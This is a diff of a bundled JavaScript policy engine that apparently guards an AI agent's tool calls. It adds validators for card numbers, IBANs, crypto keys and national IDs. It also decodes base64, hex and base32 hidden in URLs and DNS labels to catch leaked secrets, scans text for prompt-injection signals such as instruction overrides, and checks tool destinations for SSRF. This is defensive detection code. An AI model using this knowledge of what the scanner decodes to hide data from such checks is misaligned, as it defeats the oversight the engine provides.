+ budget.joinedLabelBytes += joined.length;
3750
+ if (budget.joinedLabelBytes > SECRET_VIEW_LIMITS.maxJoinedLabelBytes) {
3751
+ budget.reasons.add("decode-labels");
3752
+ return;
3753
+ }
3754
+ yield [joined, true];
3755
+ }
3756
+ }
3757
+ }
3758
+ }
3759
+ function decodeBase32(raw) {
3760
+ const alphabet = "ABCDEFGHIJKLMNOPQRSTUVWXYZ234567";
3761
+ const out = [];
3762
+ let bits = 0;
3763
+ let accumulator = 0;
3764
+ for (const c of raw.toUpperCase()) {
3765
+ accumulator = accumulator << 5 | alphabet.indexOf(c);
3766
+ bits += 5;
3767
+ if (bits >= 8) {
3768
+ bits -= 8;
3769
+ out.push(accumulator >> bits);
3770
+ accumulator &= (1 << bits) - 1;
3771
+ }
3772
+ }
3773
+ if ([1, 3, 6].includes(raw.length % 8) || accumulator !== 0) return null;
3774
+ return Buffer.from(out);
3775
+ }
3776
+ function* decodedCandidates(text, budget) {
3777
+ const stripped = stripInvisible(text);
3778
+ if (stripped !== text) yield ["invisibles", stripped];
3779
+ if (/%[a-f0-9]{2}/i.test(text)) yield ["percent", percentOnce(text)];
3780
+ const families = [
3781
+ ["base64", /[A-Za-z0-9+/_-]{22,}={0,2}/g],
3782
+ ["hex", /\b(?:[a-f0-9]{2}){16,}\b/gi],
3783
+ ["hex-escaped", /(?:\\x[a-f0-9]{2}){16,}/gi],
3784
+ ["hex-delimited", /\b[a-f0-9]{2}(?:-[a-f0-9]{2}){15,}\b/gi],
3785
+ ["base32", /\b[A-Z2-7]{26,}\b/gi]
3786
+ ];
3787
+ for (const [region, joined] of encodedRegions(text, budget)) {
3788
+ if (joined) yield ["dns-labels", region];
3789
+ for (const [kind, re] of families) {
3790
+ for (const match of region.matchAll(re)) {
3791
+ const raw = match[0];
3792
+ let buf;
3793
+ if (kind === "base64") {
3794
+ if (/^[a-f0-9]+$/i.test(raw)) continue;
3795
+ const normalized = raw.replace(/-/g, "+").replace(/_/g, "/");
3796
+ const unpadded = normalized.replace(/=+$/, "");
3797
+ if (unpadded.length % 4 === 1 || raw.includes("=") && raw.length % 4 !== 0) continue;
3798
+ buf = Buffer.from(normalized, "base64");
3799
+ if (buf.toString("base64").replace(/=+$/, "") !== unpadded) continue;
3800
+ } else if (kind === "base32") {
3801
+ const decoded2 = decodeBase32(raw);
3802
+ if (!decoded2) continue;
3803
+ buf = decoded2;
3804
+ } else {
3805
+ buf = Buffer.from(raw.replace(/\\x|-/gi, ""), "hex");
3806
+ }
3807
+ const decoded = textBytes(buf);
3808
+ if (decoded !== null) yield [kind, decoded];
3809
+ }
3810
+ }
3811
+ }
3812
+ }
3813
+ function secretViews(text, budget) {
3814
+ const seen = /* @__PURE__ */ new Set([text]);
3815
+ const out = [];
3816
+ let frontier = [{ text, transforms: [] }];
3817
+ for (let depth = 1; depth <= SECRET_VIEW_LIMITS.maxDepth; depth++) {
3818
+ const next = [];
3819
+ for (const parent of frontier) {
3820
+ let perLeaf = 0;
3821
+ for (const [kind, decoded] of decodedCandidates(parent.text, budget)) {
3822
+ if (seen.has(decoded)) continue;
3823
+ seen.add(decoded);
3824
+ const normalizing = kind === "invisibles" || kind === "percent";
3825
+ if (depth >= 2 && !normalizing) {
3826
+ budget.nestedBytes += Buffer.byteLength(decoded);
3827
+ if (++perLeaf > SECRET_VIEW_LIMITS.maxNestedViewsPerLeaf || budget.nestedBytes > SECRET_VIEW_LIMITS.maxNestedBytes) {
3828
+ budget.reasons.add("decode-nested");
3829
+ return out;
3830
+ }
3831
+ }
3832
+ const view = { text: decoded, transforms: [...parent.transforms, kind] };
3833
+ out.push(view);
3834
+ next.push(view);
3835
+ }
3836
+ }
3837
+ frontier = next;
3838
+ if (!frontier.length) return out;
3839
+ }
3840
+ for (const view of frontier) {
3841
+ if (!decodedCandidates(view.text, budget).next().done) {
3842
+ budget.reasons.add("decode-nested");
3843
+ break;
3844
+ }
3845
+ }
3846
+ return out;
3847
+ }
3848
+ function validateLuhn(digits) {
3849
+ if (!/^\d+$/.test(digits)) return false;
3850
+ if (digits.length < 12) return false;
3851
+ if (!/[1-9]/.test(digits)) return false;
3852
+ let sum = 0;
3853
+ let double = false;
3854
+ for (let i = digits.length - 1; i >= 0; i--) {
3855
+ let d = digits.charCodeAt(i) - 48;
3856
+ if (double) {
3857
+ d *= 2;
3858
+ if (d > 9) d -= 9;
3859
+ }
3860
+ sum += d;
3861
+ double = !double;
3862
+ }
3863
+ return sum % 10 === 0;
3864
+ }
3865
+ function validateAbaRouting(digits) {
3866
+ if (!/^\d{9}$/.test(digits)) return false;
3867
+ const prefix = Number(digits.slice(0, 2));
3868
+ const assigned = prefix <= 12 || prefix >= 21 && prefix <= 32 || prefix >= 61 && prefix <= 72 || prefix === 80;
3869
+ if (!assigned) return false;
3870
+ const weights = [3, 7, 1, 3, 7, 1, 3, 7, 1];
3871
+ let sum = 0;
3872
+ for (let i = 0; i < 9; i++) sum += (digits.charCodeAt(i) - 48) * weights[i];
3873
+ return sum % 10 === 0;
3874
+ }
3875
+ function validateIban(raw) {
3876
+ const s = raw.replace(/[ -]/g, "").toUpperCase();
3877
+ if (!/^[A-Z]{2}\d{2}/.test(s)) return false;
3878
+ const want = IBAN_LENGTH[s.slice(0, 2)];
3879
+ if (want === void 0 || s.length < want) return false;
3880
+ const iban = s.slice(0, want);
3881
+ if (!/^[A-Z0-9]+$/.test(iban)) return false;
3882
+ const shape = IBAN_BBAN_SHAPE[iban.slice(0, 2)];
3883
+ if (shape && !shape.test(iban.slice(4))) return false;
3884
+ const rearranged = iban.slice(4) + iban.slice(0, 4);
3885
+ let mod = 0;
3886
+ for (const ch of rearranged) {
3887
+ const code = ch.charCodeAt(0);
3888
+ const digits = code >= 65 ? String(code - 55) : ch;
3889
+ for (const d of digits) mod = (mod * 10 + (d.charCodeAt(0) - 48)) % 97;
3890
+ }
3891
+ return mod === 1;
3892
+ }
3893
+ function validateBase58Check(s) {
3894
+ if (!s) return null;
3895
+ let n = 0n;
3896
+ for (const c of s) {
3897
+ const v = B58_INDEX[c];
3898
+ if (v === void 0) return null;
3899
+ n = n * 58n + BigInt(v);
3900
+ }
3901
+ let hex = n.toString(16);
3902
+ if (hex.length % 2) hex = "0" + hex;
3903
+ let zeros = 0;
3904
+ for (const c of s) {
3905
+ if (c !== "1") break;
3906
+ zeros++;
3907
+ }
3908
+ const bytes = Buffer.concat([
3909
+ Buffer.alloc(zeros),
3910
+ n === 0n ? Buffer.alloc(0) : Buffer.from(hex, "hex")
3911
+ ]);
3912
+ if (bytes.length < 5) return null;
3913
+ const body = bytes.subarray(0, bytes.length - 4);
3914
+ const check = bytes.subarray(bytes.length - 4);
3915
+ const h = createHash22("sha256").update(createHash22("sha256").update(body).digest()).digest();
3916
+ return h.subarray(0, 4).equals(check) ? body : null;
3917
+ }
3918
+ function validateWif(s) {
3919
+ const p = validateBase58Check(s);
3920
+ if (!p || p[0] !== 128) return false;
3921
+ return p.length === 33 || p.length === 34 && p[33] === 1;
3922
+ }
3923
+ function validateXprv(s) {
3924
+ const p = validateBase58Check(s);
3925
+ if (!p || p.length !== 78) return false;
3926
+ const version = p.readUInt32BE(0);
3927
+ return XPRV_VERSIONS.has(version) && p[45] === 0;
3928
+ }
3929
+ function crc32(input) {
3930
+ if (!CRC32_TABLE) {
3931
+ CRC32_TABLE = new Int32Array(256);
3932
+ for (let i = 0; i < 256; i++) {
3933
+ let c2 = i;
3934
+ for (let k = 0; k < 8; k++) c2 = c2 & 1 ? 3988292384 ^ c2 >>> 1 : c2 >>> 1;
3935
+ CRC32_TABLE[i] = c2;
3936
+ }
3937
+ }
3938
+ const bytes = typeof input === "string" ? Buffer.from(input, "utf8") : input;
3939
+ let c = -1;
3940
+ for (let i = 0; i < bytes.length; i++) c = CRC32_TABLE[(c ^ bytes[i]) & 255] ^ c >>> 8;
3941
+ return (c ^ -1) >>> 0;
3942
+ }
3943
+ function base62Checksum(value) {
3944
+ let n = value >>> 0;
3945
+ let s = "";
3946
+ while (n > 0) {
3947
+ s = B62[n % 62] + s;
3948
+ n = Math.floor(n / 62);
3434
3949
  }
3435
3950
  return s.padStart(6, "0");
3436
3951
  }
@@ -3468,11 +3983,138 @@ function validateCask(raw) {
3468
3983
  const second = b64urlIndex(s[tsAt + 5]);
3469
3984
  return month <= 11 && day <= 30 && hour <= 23 && minute <= 59 && second <= 59;
3470
3985
  }
3471
- function isInvisibleChar(char) {
3472
- return INVISIBLE_ONE.test(char);
3986
+ function plausibleDate(mm, dd) {
3987
+ const m = Number(mm);
3988
+ const d = Number(dd);
3989
+ return m >= 1 && m <= 12 && d >= 1 && d <= 31;
3473
3990
  }
3474
- function stripInvisible(text) {
3475
- return text.replace(INVISIBLE_RE, "");
3991
+ function validateCodiceFiscale(raw) {
3992
+ const s = raw.toUpperCase();
3993
+ if (!/^[A-Z]{6}\d{2}[A-EHLMPRST]\d{2}[A-Z]\d{3}[A-Z]$/.test(s)) return false;
3994
+ let sum = 0;
3995
+ for (let i = 0; i < 15; i++) sum += (i % 2 === 0 ? CF_ODD : CF_EVEN)[s[i]];
3996
+ return s[15] === String.fromCharCode(65 + sum % 26);
3997
+ }
3998
+ function validateSpanishId(raw) {
3999
+ const s = raw.toUpperCase();
4000
+ const m = /^([XYZ]?)(\d{7,8})([A-Z])$/.exec(s);
4001
+ if (!m) return false;
4002
+ if (m[1] === "" && m[2].length !== 8 || m[1] !== "" && m[2].length !== 7) return false;
4003
+ const digits = (m[1] === "" ? "" : String("XYZ".indexOf(m[1]))) + m[2];
4004
+ return SPANISH_LETTERS[Number(digits) % 23] === m[3];
4005
+ }
4006
+ function validatePesel(raw) {
4007
+ if (!/^\d{11}$/.test(raw)) return false;
4008
+ const month = Number(raw.slice(2, 4)) % 20;
4009
+ if (!plausibleDate(String(month).padStart(2, "0"), raw.slice(4, 6))) return false;
4010
+ const weights = [1, 3, 7, 9, 1, 3, 7, 9, 1, 3];
4011
+ let sum = 0;
4012
+ for (let i = 0; i < 10; i++) sum += (raw.charCodeAt(i) - 48) * weights[i];
4013
+ return (10 - sum % 10) % 10 === raw.charCodeAt(10) - 48;
4014
+ }
4015
+ function validateCnp(raw) {
4016
+ if (!/^[1-9]\d{12}$/.test(raw)) return false;
4017
+ if (!plausibleDate(raw.slice(3, 5), raw.slice(5, 7))) return false;
4018
+ const county = Number(raw.slice(7, 9));
4019
+ if (!(county >= 1 && county <= 52 || county === 70 || county === 71)) return false;
4020
+ const key = "279146358279";
4021
+ let sum = 0;
4022
+ for (let i = 0; i < 12; i++) sum += (raw.charCodeAt(i) - 48) * (key.charCodeAt(i) - 48);
4023
+ const r = sum % 11;
4024
+ return (r === 10 ? 1 : r) === raw.charCodeAt(12) - 48;
4025
+ }
4026
+ function validateNir(raw) {
4027
+ const s = raw.replace(/\s+/g, "").toUpperCase();
4028
+ const m = /^([12]\d{2}(0[1-9]|1[0-2]|[2-9]\d)(\d{2}|2A|2B)\d{6})(\d{2})$/.exec(s);
4029
+ if (!m) return false;
4030
+ const body = m[1].replace("2A", "19").replace("2B", "18");
4031
+ const key = Number(m[4]);
4032
+ return key >= 1 && key <= 97 && 97 - Number(body) % 97 === key;
4033
+ }
4034
+ function validateSwissAhv(raw) {
4035
+ const m = /^756\.(\d{4})\.(\d{4})\.(\d{2})$/.exec(raw);
4036
+ if (!m) return false;
4037
+ const digits = "756" + m[1] + m[2] + m[3];
4038
+ let sum = 0;
4039
+ for (let i = 0; i < 12; i++) sum += (digits.charCodeAt(i) - 48) * (i % 2 === 0 ? 1 : 3);
4040
+ return (10 - sum % 10) % 10 === digits.charCodeAt(12) - 48;
4041
+ }
4042
+ function validateSwissUid(raw) {
4043
+ const m = /^CHE-(\d{3})\.(\d{3})\.(\d{3})$/i.exec(raw);
4044
+ if (!m) return false;
4045
+ const digits = m[1] + m[2] + m[3];
4046
+ const weights = [5, 4, 3, 2, 7, 6, 5, 4];
4047
+ let sum = 0;
4048
+ for (let i = 0; i < 8; i++) sum += (digits.charCodeAt(i) - 48) * weights[i];
4049
+ const check = 11 - sum % 11;
4050
+ if (check === 10) return false;
4051
+ return (check === 11 ? 0 : check) === digits.charCodeAt(8) - 48;
4052
+ }
4053
+ function validateSwedishPersonnummer(raw) {
4054
+ const m = /^(\d{2})(\d{2})(\d{2})[-+](\d{4})$/.exec(raw);
4055
+ if (!m) return false;
4056
+ if (!plausibleDate(m[2], m[3])) return false;
4057
+ const digits = m[1] + m[2] + m[3] + m[4];
4058
+ let sum = 0;
4059
+ for (let i = 0; i < 10; i++) {
4060
+ let d = digits.charCodeAt(i) - 48;
4061
+ if (i % 2 === 0) {
4062
+ d *= 2;
4063
+ if (d > 9) d -= 9;
4064
+ }
4065
+ sum += d;
4066
+ }
4067
+ return sum % 10 === 0;
4068
+ }
4069
+ function validateNorwegianFnr(raw) {
4070
+ if (!/^\d{11}$/.test(raw)) return false;
4071
+ if (!plausibleDate(raw.slice(2, 4), raw.slice(0, 2))) return false;
4072
+ const control = (weights, upto) => {
4073
+ let sum = 0;
4074
+ for (let i = 0; i < upto; i++) sum += (raw.charCodeAt(i) - 48) * weights[i];
4075
+ const k = 11 - sum % 11;
4076
+ return k === 11 ? 0 : k;
4077
+ };
4078
+ const k1 = control([3, 7, 6, 1, 8, 9, 4, 5, 2], 9);
4079
+ const k2 = control([5, 4, 3, 2, 7, 6, 5, 4, 3, 2], 10);
4080
+ return k1 < 10 && k2 < 10 && k1 === raw.charCodeAt(9) - 48 && k2 === raw.charCodeAt(10) - 48;
4081
+ }
4082
+ function validateFinnishHetu(raw) {
4083
+ const m = /^(\d{2})(\d{2})(\d{2})[-+A-FU-Y](\d{3})([0-9A-Y])$/.exec(raw.toUpperCase());
4084
+ if (!m) return false;
4085
+ if (!plausibleDate(m[2], m[1])) return false;
4086
+ const n = Number(m[1] + m[2] + m[3] + m[4]);
4087
+ return HETU_CHARS[n % 31] === m[5];
4088
+ }
4089
+ function matchesOutsideMention(re, text) {
4090
+ const g = new RegExp(re.source, re.flags.includes("g") ? re.flags : re.flags + "g");
4091
+ let m;
4092
+ while ((m = g.exec(text)) !== null) {
4093
+ if (m[0].length === 0) {
4094
+ g.lastIndex = m.index + 1;
4095
+ continue;
4096
+ }
4097
+ const before = text.slice(Math.max(0, m.index - 48), m.index);
4098
+ if (!(MENTION_QUOTE_RE.test(before) && MENTION_WORD_RE.test(before))) return true;
4099
+ }
4100
+ return false;
4101
+ }
4102
+ function scanInjection(text, ctx = {}) {
4103
+ if (!text) return null;
4104
+ const t = text.length > MAX ? text.slice(0, MAX) : text;
4105
+ const matched = [];
4106
+ for (const view of scanViews(t)) {
4107
+ for (const sig of SIGNALS) {
4108
+ if (matched.includes(sig.name)) continue;
4109
+ const hit = sig.name === "override-instructions" ? sig.any.some((re) => matchesOutsideMention(re, view.text)) : sig.any.some((re) => re.test(view.text));
4110
+ if (hit) matched.push(sig.name);
4111
+ }
4112
+ }
4113
+ if (matched.length === 0) return null;
4114
+ const untrusted = ctx.untrusted ?? (!!ctx.tool && UNTRUSTED_TOOLS.test(ctx.tool));
4115
+ const score = matched.length + (untrusted ? 1 : 0);
4116
+ const confidence = score >= 3 ? "high" : score === 2 ? "medium" : "low";
4117
+ return { signals: untrusted ? [...matched, "untrusted-origin"] : matched, confidence };
3476
4118
  }
3477
4119
  function isAssignmentContext(text) {
3478
4120
  return ASSIGNMENT_CONTEXT_RE.test(text);
@@ -3555,7 +4197,41 @@ function validateAssignedSecret(raw, before = "") {
3555
4197
  if (ARN_CONTEXT_RE.test(before)) return false;
3556
4198
  const prefix = (before.match(/[A-Za-z0-9_]*$/)?.[0] ?? "") + (raw.startsWith("_") ? "_" : "");
3557
4199
  if (!nameHoldsCredential(prefix + name)) return false;
3558
- return looksGenerated(value, 12, 3.5);
4200
+ if (isOtpDocSecret(value)) return false;
4201
+ const mixed = /[0-9]/.test(value) && /[A-Za-z]/.test(value);
4202
+ return looksGenerated(value, 12, mixed ? 3 : 3.5);
4203
+ }
4204
+ function validateCipherKeyLiteral(raw) {
4205
+ const name = capturedValue(raw, CIPHER_KEY_NAME_RE);
4206
+ const value = capturedValue(raw, CIPHER_KEY_VALUE_RE);
4207
+ if (name === null || value === null) return false;
4208
+ if (/pub/i.test(name) || !nameHoldsCredential(name)) return false;
4209
+ const parts = name.replace(/([a-z0-9])([A-Z])/g, "$1_$2").toLowerCase().split(/[_.-]+/);
4210
+ if (!parts.some((p) => CIPHER_NAME_PARTS.has(p))) return false;
4211
+ if (!/[a-z]/.test(value) || !/[A-Z]/.test(value) || !/[0-9]/.test(value)) return false;
4212
+ const bytes = Buffer.from(value, "base64");
4213
+ return bytes.length === 16 && bytes.toString("base64") === value;
4214
+ }
4215
+ function validateLaravelAppKey(raw) {
4216
+ const value = capturedValue(raw, LARAVEL_KEY_VALUE_RE);
4217
+ if (value === null) return false;
4218
+ const bytes = Buffer.from(value, "base64");
4219
+ return bytes.length === 32 && bytes.toString("base64") === value && shannonEntropy(value) >= 3;
4220
+ }
4221
+ function validateSqlPassword(raw) {
4222
+ const value = capturedValue(raw, SQL_PASSWORD_VALUE_RE);
4223
+ if (value === null) return false;
4224
+ const lower2 = value.toLowerCase();
4225
+ if (DLP_STOPWORDS.some((sw) => lower2.includes(sw)) || REFERENCE_VALUE_RE.test(value))
4226
+ return false;
4227
+ if (/^[a-z]+$/i.test(value) && value.length < 12) return false;
4228
+ return shannonEntropy(value) >= 2.5 && !hasSequentialRun(value);
4229
+ }
4230
+ function validateGrafanaApiKey(raw) {
4231
+ const value = capturedValue(raw, GRAFANA_KEY_VALUE_RE);
4232
+ if (value === null) return false;
4233
+ const text = Buffer.from(value, "base64").toString("utf8");
4234
+ return /^\{"k":"[A-Za-z0-9]{16,}"/.test(text);
3559
4235
  }
3560
4236
  function validateBasicCredential(raw) {
3561
4237
  const b64 = capturedValue(raw, BASIC_VALUE_RE);
@@ -3578,6 +4254,13 @@ function validateBasicCredential(raw) {
3578
4254
  if (DLP_STOPWORDS.some((sw) => lower2.includes(sw)) || hasSequentialRun(password)) return false;
3579
4255
  return shannonEntropy(password) >= 3;
3580
4256
  }
4257
+ function validateDbConnectionString(raw) {
4258
+ const password = capturedValue(raw, DB_URL_PASSWORD_RE);
4259
+ if (password === null) return false;
4260
+ const lower2 = password.toLowerCase();
4261
+ if (DLP_STOPWORDS.some((sw) => lower2.includes(sw))) return false;
4262
+ return shannonEntropy(raw) >= 3;
4263
+ }
3581
4264
  function validateOtpSecret(raw) {
3582
4265
  const secret = capturedValue(raw, OTP_CAPTURE_RE);
3583
4266
  if (secret === null || isOtpDocSecret(secret)) return false;
@@ -4740,9 +5423,9 @@ function bareToolName(toolName) {
4740
5423
  const parts = toolName.split("__");
4741
5424
  return (parts.length >= 3 ? parts.slice(2).join("__") : toolName).toLowerCase();
4742
5425
  }
4743
- function valuesAt(args, path26) {
5426
+ function valuesAt(args, path27) {
4744
5427
  let cursors = [args];
4745
- for (const rawSegment of path26.split(".")) {
5428
+ for (const rawSegment of path27.split(".")) {
4746
5429
  const isArray = rawSegment.endsWith("[]");
4747
5430
  const key = isArray ? rawSegment.slice(0, -2) : rawSegment;
4748
5431
  const next = [];
@@ -4763,231 +5446,60 @@ function valuesAt(args, path26) {
4763
5446
  function hostOf(value) {
4764
5447
  try {
4765
5448
  const u = new URL(value);
4766
- const h = u.hostname;
4767
- return h.startsWith("[") && h.endsWith("]") ? h.slice(1, -1) : h;
4768
- } catch {
4769
- return null;
4770
- }
4771
- }
4772
- function extractToolDestinations(toolName, args) {
4773
- try {
4774
- const paths = DESTINATION_ARGS.get(bareToolName(toolName));
4775
- if (!paths) return [];
4776
- const out = [];
4777
- for (const path26 of paths) {
4778
- for (const value of valuesAt(args, path26)) {
4779
- const host2 = hostOf(value);
4780
- if (host2) out.push({ host: host2, binary: toolName, raw: value });
4781
- }
4782
- }
4783
- return out;
4784
- } catch {
4785
- return [];
4786
- }
4787
- }
4788
- function ssrfDestinationFloor(toolName, args, opts = {}) {
4789
- try {
4790
- const paths = DESTINATION_ARGS.get(bareToolName(toolName));
4791
- if (!paths) return null;
4792
- for (const path26 of paths) {
4793
- for (const value of valuesAt(args, path26)) {
4794
- const host2 = hostOf(value);
4795
- if (!host2) continue;
4796
- const m = classifySsrf(host2);
4797
- if (!m) continue;
4798
- if (isStrictGatedTier(m.tier) && !opts.ssrfStrict) continue;
4799
- if (m.overridable && ssrfExemptMatches(opts.ssrfAllow, m.normalized)) continue;
4800
- return { ...m, argPath: path26, host: host2, reason: ssrfReason(m, host2) };
4801
- }
4802
- }
4803
- return null;
4804
- } catch {
4805
- return null;
4806
- }
4807
- }
4808
- function newSecretViewBudget() {
4809
- return { hashes: 0, nestedBytes: 0, joinedLabelBytes: 0, reasons: /* @__PURE__ */ new Set() };
4810
- }
4811
- function textBytes(buf) {
4812
- if (buf.length < 16) return null;
4813
- const text = buf.toString("utf8");
4814
- if (!Buffer.from(text).equals(buf) || /[\x00-\x08\x0b\x0c\x0e-\x1f\x7f]/.test(text)) return null;
4815
- return text;
4816
- }
4817
- function percentOnce(text) {
4818
- return text.replace(/(?:%[a-f0-9]{2})+/gi, (run) => {
4819
- try {
4820
- return decodeURIComponent(run);
4821
- } catch {
4822
- return run.replace(
4823
- /%([a-f0-9]{2})/gi,
4824
- (_, h) => String.fromCharCode(parseInt(h, 16))
4825
- );
4826
- }
4827
- });
4828
- }
4829
- function* wrappedBase64(text) {
4830
- if (!text.includes("\n")) return;
4831
- const word = /^[A-Za-z0-9+/_-]+={0,2}$/;
4832
- let run = [];
4833
- let width = 0;
4834
- const flush = function* () {
4835
- if (run.length >= 2) yield run.join("");
4836
- run = [];
4837
- width = 0;
4838
- };
4839
- for (const raw of text.split("\n")) {
4840
- const line = raw.trim();
4841
- const full = line.length >= 16 && word.test(line) && !line.includes("=");
4842
- if (full && (!run.length || line.length === width)) {
4843
- run.push(line);
4844
- width = line.length;
4845
- continue;
4846
- }
4847
- if (run.length && word.test(line) && line.length >= 2 && line.length <= width) {
4848
- run.push(line);
4849
- yield* flush();
4850
- continue;
4851
- }
4852
- yield* flush();
4853
- if (full) {
4854
- run.push(line);
4855
- width = line.length;
4856
- }
4857
- }
4858
- yield* flush();
4859
- }
4860
- function* encodedRegions(text, budget) {
4861
- yield [text, false];
4862
- for (const block of wrappedBase64(text)) yield [block, false];
4863
- for (const match of text.matchAll(/(?<![a-z0-9+.-])[a-z][a-z0-9+.-]{0,30}:\/\/[^\s<>"']+/gi)) {
4864
- try {
4865
- new URL(match[0]);
4866
- } catch {
4867
- continue;
4868
- }
4869
- const parts = match[0].match(
4870
- /^[a-z][a-z0-9+.-]*:\/\/([^/?#]*)([^?#]*)(?:\?([^#]*))?(?:#(.*))?$/i
4871
- );
4872
- if (!parts) continue;
4873
- const host2 = parts[1].slice(parts[1].lastIndexOf("@") + 1).replace(/:\d+$/, "");
4874
- const regions = [
4875
- parts[1],
4876
- ...host2.split("."),
4877
- ...parts[2].split("/"),
4878
- ...(parts[3] ?? "").split("&"),
4879
- parts[4] ?? ""
4880
- ];
4881
- for (const region of regions) if (region) yield [region, false];
4882
- const labels = host2.split(".");
4883
- if (host2.length > SECRET_VIEW_LIMITS.maxHostLength || labels.length > SECRET_VIEW_LIMITS.maxLabels || !labels.every((l) => l.length >= 1 && l.length <= SECRET_VIEW_LIMITS.maxLabelLength))
4884
- continue;
4885
- for (let start = 0; start < labels.length; start++) {
4886
- let joined = labels[start];
4887
- for (let end = start + 1; end < Math.min(labels.length, start + 8); end++) {
4888
- const run = labels.slice(start, end + 1);
4889
- if (!run.every((s) => /^[a-f0-9]{2,}$/i.test(s)) && !run.every((s) => /^[A-Z2-7]{4,}$/i.test(s)))
4890
- break;
4891
- joined += labels[end];
4892
- if (joined.length < 16) continue;
4893
- budget.joinedLabelBytes += joined.length;
4894
- if (budget.joinedLabelBytes > SECRET_VIEW_LIMITS.maxJoinedLabelBytes) {
4895
- budget.reasons.add("decode-labels");
4896
- return;
4897
- }
4898
- yield [joined, true];
4899
- }
4900
- }
4901
- }
4902
- }
4903
- function decodeBase32(raw) {
4904
- const alphabet = "ABCDEFGHIJKLMNOPQRSTUVWXYZ234567";
4905
- const out = [];
4906
- let bits = 0;
4907
- let accumulator = 0;
4908
- for (const c of raw.toUpperCase()) {
4909
- accumulator = accumulator << 5 | alphabet.indexOf(c);
4910
- bits += 5;
4911
- if (bits >= 8) {
4912
- bits -= 8;
4913
- out.push(accumulator >> bits);
4914
- accumulator &= (1 << bits) - 1;
4915
- }
4916
- }
4917
- if ([1, 3, 6].includes(raw.length % 8) || accumulator !== 0) return null;
4918
- return Buffer.from(out);
4919
- }
4920
- function* decodedCandidates(text, budget) {
4921
- const stripped = stripInvisible(text);
4922
- if (stripped !== text) yield ["invisibles", stripped];
4923
- if (/%[a-f0-9]{2}/i.test(text)) yield ["percent", percentOnce(text)];
4924
- const families = [
4925
- ["base64", /[A-Za-z0-9+/_-]{22,}={0,2}/g],
4926
- ["hex", /\b(?:[a-f0-9]{2}){16,}\b/gi],
4927
- ["hex-escaped", /(?:\\x[a-f0-9]{2}){16,}/gi],
4928
- ["hex-delimited", /\b[a-f0-9]{2}(?:-[a-f0-9]{2}){15,}\b/gi],
4929
- ["base32", /\b[A-Z2-7]{26,}\b/gi]
4930
- ];
4931
- for (const [region, joined] of encodedRegions(text, budget)) {
4932
- if (joined) yield ["dns-labels", region];
4933
- for (const [kind, re] of families) {
4934
- for (const match of region.matchAll(re)) {
4935
- const raw = match[0];
4936
- let buf;
4937
- if (kind === "base64") {
4938
- if (/^[a-f0-9]+$/i.test(raw)) continue;
4939
- const normalized = raw.replace(/-/g, "+").replace(/_/g, "/");
4940
- const unpadded = normalized.replace(/=+$/, "");
4941
- if (unpadded.length % 4 === 1 || raw.includes("=") && raw.length % 4 !== 0) continue;
4942
- buf = Buffer.from(normalized, "base64");
4943
- if (buf.toString("base64").replace(/=+$/, "") !== unpadded) continue;
4944
- } else if (kind === "base32") {
4945
- const decoded2 = decodeBase32(raw);
4946
- if (!decoded2) continue;
4947
- buf = decoded2;
4948
- } else {
4949
- buf = Buffer.from(raw.replace(/\\x|-/gi, ""), "hex");
4950
- }
4951
- const decoded = textBytes(buf);
4952
- if (decoded !== null) yield [kind, decoded];
4953
- }
4954
- }
4955
- }
4956
- }
4957
- function secretViews(text, budget) {
4958
- const seen = /* @__PURE__ */ new Set([text]);
4959
- const out = [];
4960
- let frontier = [{ text, transforms: [] }];
4961
- for (let depth = 1; depth <= SECRET_VIEW_LIMITS.maxDepth; depth++) {
4962
- const next = [];
4963
- for (const parent of frontier) {
4964
- let perLeaf = 0;
4965
- for (const [kind, decoded] of decodedCandidates(parent.text, budget)) {
4966
- if (seen.has(decoded)) continue;
4967
- seen.add(decoded);
4968
- const normalizing = kind === "invisibles" || kind === "percent";
4969
- if (depth >= 2 && !normalizing) {
4970
- budget.nestedBytes += Buffer.byteLength(decoded);
4971
- if (++perLeaf > SECRET_VIEW_LIMITS.maxNestedViewsPerLeaf || budget.nestedBytes > SECRET_VIEW_LIMITS.maxNestedBytes) {
4972
- budget.reasons.add("decode-nested");
4973
- return out;
4974
- }
4975
- }
4976
- const view = { text: decoded, transforms: [...parent.transforms, kind] };
4977
- out.push(view);
4978
- next.push(view);
5449
+ const h = u.hostname;
5450
+ return h.startsWith("[") && h.endsWith("]") ? h.slice(1, -1) : h;
5451
+ } catch {
5452
+ return null;
5453
+ }
5454
+ }
5455
+ function extractToolDestinations(toolName, args) {
5456
+ try {
5457
+ const out = [];
5458
+ const paths = DESTINATION_ARGS.get(bareToolName(toolName)) ?? [];
5459
+ for (const path27 of paths) {
5460
+ for (const value of valuesAt(args, path27)) {
5461
+ const host2 = hostOf(value);
5462
+ if (host2) out.push({ host: host2, binary: toolName, raw: value });
4979
5463
  }
4980
5464
  }
4981
- frontier = next;
4982
- if (!frontier.length) return out;
5465
+ if (paths.length === 0 && /^mcp__/i.test(toolName) && args && typeof args === "object") {
5466
+ for (const key of MCP_DESTINATION_KEYS) {
5467
+ const value = args[key];
5468
+ if (typeof value !== "string") continue;
5469
+ const host2 = hostOf(value);
5470
+ if (host2) out.push({ host: host2, binary: toolName, raw: value });
5471
+ }
5472
+ }
5473
+ return out;
5474
+ } catch {
5475
+ return [];
4983
5476
  }
4984
- for (const view of frontier) {
4985
- if (!decodedCandidates(view.text, budget).next().done) {
4986
- budget.reasons.add("decode-nested");
4987
- break;
5477
+ }
5478
+ function writtenAuthority(value) {
5479
+ const m = /^[a-z][a-z0-9+.-]*:\/\/(?:[^@/?#]*@)?(\[[^\]]*\]|[^:/?#]*)/i.exec(value);
5480
+ return m && m[1] ? m[1] : null;
5481
+ }
5482
+ function ssrfDestinationFloor(toolName, args, opts = {}) {
5483
+ try {
5484
+ const paths = DESTINATION_ARGS.get(bareToolName(toolName));
5485
+ if (!paths) return null;
5486
+ for (const path27 of paths) {
5487
+ for (const value of valuesAt(args, path27)) {
5488
+ const host2 = hostOf(value);
5489
+ if (!host2) continue;
5490
+ const m = classifySsrf(host2);
5491
+ if (!m) continue;
5492
+ const written = writtenAuthority(value) ?? host2;
5493
+ const decision = ssrfFloorDecision(m, written, opts);
5494
+ if (decision === null) continue;
5495
+ const reason = decision === "review" ? ssrfDisguisedReason(m, written) : ssrfReason(m, host2);
5496
+ return { ...m, argPath: path27, host: host2, reason, decision };
5497
+ }
4988
5498
  }
5499
+ return null;
5500
+ } catch {
5501
+ return null;
4989
5502
  }
4990
- return out;
4991
5503
  }
4992
5504
  function batches(views) {
4993
5505
  const out = [];
@@ -5273,11 +5785,12 @@ async function evaluatePolicyCore(config, toolName, args, context = {}, hooks =
5273
5785
